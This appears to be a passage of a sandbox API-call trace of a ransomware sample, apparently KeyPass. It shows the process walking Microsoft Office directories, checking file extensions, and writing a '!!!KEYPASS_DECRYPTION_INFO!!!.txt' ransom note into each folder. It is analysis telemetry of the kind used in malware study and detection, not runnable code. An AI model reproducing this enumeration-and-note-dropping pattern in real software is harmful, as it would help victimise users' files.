[0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned=".eftx" [0244.001] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.001] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned=".eftx" [0244.001] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.001] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned=".eftx" [0244.001] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0244.001] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.001] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0244.001] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2e53140 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0244.001] GetLastError () returned 0x3f0 [0244.001] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0244.001] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0244.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc [0244.007] GetFileType (hFile=0x5cc) returned 0x1 [0244.007] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0244.007] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0244.007] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0244.007] WriteFile (in: hFile=0x5cc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0244.008] WriteFile (in: hFile=0x5cc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0244.008] CloseHandle (hObject=0x5cc) returned 1 [0244.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79c58 [0244.009] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.009] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0244.009] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml") returned=".xml" [0244.009] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml") returned=".xml" [0244.009] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml") returned=".xml" [0244.009] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml") returned=".xml" [0244.009] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml") returned=".xml" [0244.009] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml") returned=".xml" [0244.009] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml") returned=".xml" [0244.010] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml") returned=".xml" [0244.011] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml") returned=".xml" [0244.011] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml") returned=".xml" [0244.011] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml") returned=".xml" [0244.011] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml") returned=".xml" [0244.011] FindNextFileW (in: hFindFile=0x2e79c58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0244.011] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx") returned=".thmx" [0244.011] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0244.011] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0244.011] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0244.011] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2e53140 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0244.011] GetLastError () returned 0x3f0 [0244.011] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0244.011] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0244.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d0 [0244.078] GetFileType (hFile=0x5d0) returned 0x1 [0244.078] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0244.078] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0244.079] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0244.079] WriteFile (in: hFile=0x5d0, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0244.084] WriteFile (in: hFile=0x5d0, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0244.085] CloseHandle (hObject=0x5d0) returned 1 [0244.085] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e796d8 [0244.087] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.090] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0244.090] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned=".dll" [0244.090] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned=".dll" [0244.090] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned=".dll" [0244.090] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned=".dll" [0244.090] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned=".dll" [0244.090] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned=".dll" [0244.091] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned=".dll" [0244.092] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned=".dll" [0244.092] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned=".dll" [0244.092] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned=".dll" [0244.092] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned=".dll" [0244.092] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll") returned=".dll" [0244.092] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned=".dll" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned=".dll" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned=".manifest" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned=".dll" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned=".manifest" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned=".dll" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml") returned=".xml" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned=".dll" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned=".exe" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config") returned=".config" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned=".dll" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned=".dll" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned=".dll" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned=".dll" [0244.093] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned=".dll" [0244.094] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned=".dll" [0244.094] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned=".dll" [0244.094] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned=".dll" [0244.094] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned=".dll" [0244.094] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned=".dll" [0244.094] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned=".dll" [0244.094] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned=".dll" [0244.094] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.094] PathFindExtensionW 